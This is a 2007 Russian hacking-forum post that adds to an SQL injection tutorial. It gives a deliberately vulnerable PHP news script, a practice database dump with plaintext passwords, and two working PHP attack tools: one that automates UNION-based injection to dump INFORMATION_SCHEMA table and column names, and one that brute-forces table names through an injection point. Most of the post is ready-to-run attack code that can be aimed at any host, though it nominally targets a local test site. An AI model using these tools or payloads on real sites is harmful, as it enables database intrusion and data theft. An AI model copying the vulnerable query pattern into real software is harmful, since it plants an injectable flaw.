Показать сообщение отдельно

  #4  
Старый 07.07.2007, 22:18
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

7.ДОПОЛНЕНИЯ

Выдалась свободная минутка... не знаю нужно ли вообще комуто это, но вот как и обещал...
Код уязвимого скрипта
Код:
<?php
//Настройки БД
$script['mysql_server']='localhost';//Хост
$script['mysql_login']='root';//Логин
$script['mysql_password']='';//Пароль
$script['mysql_db']='test';//Имя БД

//Сам скрипт
$body="";
$body.="<html>
<head><title>Новости</title></head>
<body>
";

mysql_connect($script['mysql_server'], $script['mysql_login'], $script['mysql_password']) or die('Не могу подключиться к серверу');
mysql_select_db($script['mysql_db']) or die('Не могу подключиться к БД');

if(!empty($_GET['id']))//Вывод одной новости
{
	$body.="<h3>Просмотр новости</h3> \n<br>";
	$zapros="SELECT * FROM news WHERE id='".$_GET['id']."';";//Уязвимый запрос
	$result=mysql_query($zapros);
	echo(Mysql_error());//Вывод ошибки
	$data=mysql_fetch_row($result);
	//Вывод результата запроса
	$body.="Заголовок: <b>".$data['3']."</b>\n";
	$body.="<hr><pre>".$data['4']."</pre>\n";
	$body.="<hr>Добавленно ".$data['5']." ".$data['1']." в ".$data['2']."\n<br><br>";
	$body.="<a href='?'>Назад</a>";
}
else //Ну и простое отображение всех новостей(шоб понятней было где скуль)
{

	$body.="<h3>Все новости</h3> \n<br>";
	$zapros="SELECT * FROM news;";
	$result_z=mysql_query($zapros);
	$count_str=mysql_num_rows($result_z);
	for($i=1;$i<=$count_str;$i++)
	{
		$result=@mysql_fetch_assoc($result_z);
		$body.=$i.".<a href='?id=".$i."'>".$result['caption']."<a/><br>\n";
	}
}
$body.="</body></html>";
echo($body);
?>
Дамп базы
Код:
CREATE TABLE `news` (
  `id` int(11) NOT NULL default '0',
  `date` varchar(8) NOT NULL default '',
  `time` varchar(7) NOT NULL default '',
  `caption` varchar(50) NOT NULL default '',
  `text` text NOT NULL,
  `avtor` varchar(50) NOT NULL default ''
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

INSERT INTO `news` VALUES (1, '23/03/07', '12:30', 'Здравствуй вася :)', 'Ну что начинай хакать этот скриптег :)\r\nИ побыстрее а то малоли... :P', 'I-I()/Ib');
INSERT INTO `news` VALUES (2, '24/03/07', '11:10', 'Гы а это для разнообразия', 'А то я подумал вдруг мало будет новостей :))\r\nТолько за дизайн извиняюсь... както кривовато смотриться ну да лано...', 'I-I()/Ib');

CREATE TABLE `users` (
  `login` varchar(20) NOT NULL default '',
  `password` varchar(20) NOT NULL default ''
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;

INSERT INTO `users` VALUES ('Admin', 'PaSsWoRd');
INSERT INTO `users` VALUES ('User', '123456');
INSERT INTO `users` VALUES ('Looser', 'big_password');
Вообщем надеюсь вы поняли что надо с этим сделать...

А теперь что-то пополезнее.
Скрипт для вывода инфы через LIMIT или еще что нибудь этого рода
Код:
<?php
$set['b']='121212';//Что находится перед выводиомй инфой
$set['e']='212121';//Что находится после выводимой инфы
$set['u']='http://test/news.php?id=';//URL с узвимым параметров В КОНЦЕ(!)
$set['z']='-1 UNION SELECT CONCAT(0x313231323132,TABLE_NAME, 0x2D, COLUMN_NAME, 0x323132313231) FROM INFORMATION_SCHEMA.COLUMNS LIMIT +++counter+++,1/*';//Уязвимый параметр
$set['c']='+++counter+++';//Строка счетчика
$set['f']='0';//Начальное значение счетчика
$set['s']='500';//Конечное значение счетчика
$set['h']='test';//Хост

if(!empty($_GET['b']))$set['b']=$_GET['b'];
if(!empty($_GET['e']))$set['e']=$_GET['e'];
if(!empty($_GET['u']))$set['u']=$_GET['u'];
if(!empty($_GET['z']))$set['z']=$_GET['z'];
if(!empty($_GET['c']))$set['c']=$_GET['c'];
if(!empty($_GET['f']))$set['f']=$_GET['f'];
if(!empty($_GET['s']))$set['s']=$_GET['s'];
if(!empty($_GET['h']))$set['h']=$_GET['h'];

for($i=$set['f'];$i<=$set['s'];$i++)
{
$zapros=str_replace($set['c'],$i,$set['z']);//Изменияем счетчик в уязвимом параметре

//Создаем пакет
$header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
$header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$header.="Connection: keep-alive\r\n";
$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
$header.='Cookie2: $Version=1'."\r\n";
$header.="Host: ".$set['h']."\r\n\r\n";

$dt="";
$fp=fsockopen($set['h'], 80);
fwrite($fp, $header);
while(!feof($fp)) $dt.=fread($fp, 1024);
fclose($fp);

//Вырезаем необходимую инфу
$dt=substr($dt,strpos($dt,$set['b'])+strlen($set['b']));
$dt=substr($dt,0,strpos($dt,$set['e']));

//Выводим инфу на экран
echo($dt."\r\n");
flush();
}

?>
Скрипт для брута имен столбцов и полей

Код:
<?php
$set['f']="bryt_name_table.txt";//Словарик с именами таблиц/полей
$set['t']=false;//Определять существование таблицы по наличию строки(true) или отсутствию(false)
$set['n']="Table 'test.+++name+++' doesn't exist";//Если эта строка отсутствует значит таблица есть в БД
$set['y']="Здравствуй вася :)";//Если эта строка присутствует значит таблица есть в БД
$set['u']="http://test1.ru/news?id=";//URL с узвимым параметров В КОНЦЕ(!)
$set['z']="1 union select 1,2,3,4,5,6 FROM +++name+++";//Значение уязвимого параметра
$set['c']="+++name+++";//Строка каждый раз заменяймая на текущее имя таблицы
$set['h']="test1.ru";//Хост

@set_time_limit(0);//30 секунд по дефолту нам может не хватить...

//Чтобы не париться каждый раз и не лезть в файл
if(!empty($_GET['f']))$set['f']=$_GET['f'];
if(!empty($_GET['t']))$set['t']=$_GET['t'];
if(!empty($_GET['n']))$set['n']=$_GET['n'];
if(!empty($_GET['y']))$set['y']=$_GET['y'];
if(!empty($_GET['u']))$set['u']=$_GET['u'];
if(!empty($_GET['z']))$set['z']=$_GET['z'];
if(!empty($_GET['c']))$set['c']=$_GET['c'];
if(!empty($_GET['h']))$set['h']=$_GET['h'];

$tables_names=file($set['f']);//Открываем файл

//Начинаем брутофорс
for($i=0;$i<count($tables_names);$i++)
{
//Удаляем символы перехода строки
$tables_names[$i]=str_replace("\r","",$tables_names[$i]);
$tables_names[$i]=str_replace("\n","",$tables_names[$i]);

//Изменияем строку на текущее имя таблицы
$zapros=str_replace($set['c'],$tables_names[$i],$set['z']);
$in_str=str_replace($set['c'],$tables_names[$i],$set['y']);
$ou_str=str_replace($set['c'],$tables_names[$i],$set['n']);

//Создаем пакет
$header="GET ".$set['u'].urlencode($zapros)." HTTP/1.0\r\n";
$header.="Accept-Language: en-us,en;q=0.5\r\n";
$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
$header.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$header.="Connection: keep-alive\r\n";
//$header.="Cookie: PHPSESSID=028df047751bfc9a2ee18204eb2d5595\r\n";
//$header.='Cookie2: $Version=1'."\r\n";
$header.="Host: ".$set['h']."\r\n\r\n";

//Оптравка/прием данных
$dt="";
$fp=fsockopen($set['h'], 80);
fwrite($fp, $header);
while(!feof($fp)) $dt.=fread($fp, 1024);
fclose($fp);

//Ну и соответственно вывод на экран.
$found=0;
if($set['t'])
{
	if(substr_count($dt,$in_str)>0){echo("<font color='green'><b>".$tables_names[$i]."</b></font><script>alert('".$tables_names[$i]." - found')</script>");$found=1;}
}
if($set['t']===false)
{
	if(substr_count($dt,$ou_str)===0){echo("<font color='green'><b>".$tables_names[$i]."</b></font><script>alert('".$tables_names[$i]." - found')</script>");$found=1;}
}
if($found===0)echo("<font color='red'>".$tables_names[$i]."</font>");
echo("<hr>\r\n");
flush();
}
?>
__________________
Кто я?..

Последний раз редактировалось I-I()/Ib; 28.08.2007 в 10:33..